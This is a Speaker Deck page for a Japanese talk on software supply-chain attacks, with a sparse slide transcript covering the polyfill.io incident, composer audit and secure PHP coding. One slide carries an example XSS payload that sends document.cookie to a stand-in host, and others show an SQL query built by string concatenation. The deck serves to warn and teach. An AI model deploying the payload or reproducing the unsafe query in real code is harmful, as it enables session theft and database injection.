Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
サプライチェーン攻撃とWebエンジニアの日常
Search
Shinya Saita
May 30, 2026
Technology
69
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
サプライチェーン攻撃とWebエンジニアの日常
最近はやっているサプライチェーン攻撃について振り返りと注意喚起を
Shinya Saita
May 30, 2026
More Decks by Shinya Saita
See All by Shinya Saita
AIコード生成×サプライチェーン攻撃 — PHPが直面する“二重の信頼問題
shinyasaita
0
450
Chrome拡張機能で会議の遅刻・延長を解消した話
shinyasaita
0
95
PHPで常に象を意識する方法
shinyasaita
0
68
Claude Code 珍プレー好プレー
shinyasaita
0
370
失敗を資産に変えるClaude Code
shinyasaita
0
1.4k
みんなが知らないトランプの世界
shinyasaita
0
27
AI Agentのメモリを覗いてちょっと焦った話
shinyasaita
0
110
北海道でしょう〜2017年の記録〜
shinyasaita
0
19
とりあえず『End of Eternity』がめっちゃ面白いから、まあ話を聞いてくれ
shinyasaita
0
18
Other Decks in Technology
See All in Technology
Jitera Company Deck
jitera
0
270
SRENEXT_2026_Chairs__Talks_in_Tamachi.sre.pdf
srenext
1
150
2年前に削除したPHPクラスが、 ある日突然決済をエラーにした
ykagano
1
780
PHPで作って学ぶリアルタイム音声対話AIとWebSocket入門 by ムナカタ
munakata
0
130
インシデント事例と パッケージの全量解析に学ぶ ソフトウェアサプライチェーンの守り方 / supply-chain-attack-defense
flatt_security
0
890
41歳でAWSが好きすぎてITエンジニアになったおっさんの話
yama3133
1
740
AI_Dev_Day_製造業領域でのAI活用から見た活用の罠と成功に導く実践知.pdf
kintotechdev
0
160
大量データに対しても、生成AIを用いてリーズナブルにデータ加工をしたい!Databricksのai_queryについて調べてみた
kamoshika
1
280
AIツールを導入しても生産性はあがらない? カオナビが直面した 3つの壁と乗り越え方。/ Overcoming 3 Barriers to AI-Driven Productivity at kaonavi
kaonavi
0
170
どこまでAIに任せるか 〜確率論と決定論の境界決定〜
shukob
0
450
Webの技術とガジェットで子どもも大人も楽しめるワクワク体験を提供する / Qiita Tech Festa Day 2026
you
PRO
1
110
「守りたい体験」を渡すだけで E2E を生成させられるようになった話
hinac0
2
1k
Featured
See All Featured
What's in a price? How to price your products and services
michaelherold
247
13k
Easily Structure & Communicate Ideas using Wireframe
afnizarnur
194
17k
"I'm Feeling Lucky" - Building Great Search Experiences for Today's Users (#IAC19)
danielanewman
230
23k
Being A Developer After 40
akosma
91
590k
Six Lessons from altMBA
skipperchong
29
4.3k
Imperfection Machines: The Place of Print at Facebook
scottboms
270
14k
Conquering PDFs: document understanding beyond plain text
inesmontani
PRO
4
2.9k
XXLCSS - How to scale CSS and keep your sanity
sugarenia
249
1.3M
Lightning Talk: Beautiful Slides for Beginners
inesmontani
PRO
2
610
Darren the Foodie - Storyboard
khoart
PRO
3
3.5k
Paper Plane (Part 1)
katiecoart
PRO
1
9.8k
Leveraging Curiosity to Care for An Aging Population
cassininazir
1
420
Transcript
None
None
None
None
None
None
None
None
None
None
None
None
None
None
<script src="//cdn.polyfill.io/...">
laravel-lang/http-statuses actions attributes helpers.php autoload.files
$ composer update # # composer.lock composer.lock
None
None
<?php // echo " " . $_GET['name'] . " ";
// echo " " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8') . " "; ?name=<script>fetch('//evil.example/'+document.cookie) </script>
@csrf SameSite=Lax Strict
<?php // ( ) $sql = "SELECT * FROM users
WHERE id = " . $_GET['id']; // ( ) $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id"); $stmt->execute([':id' => $_GET['id']]);
None
composer.lock composer audit roave/security-advisories
None
composer.lock composer audit
None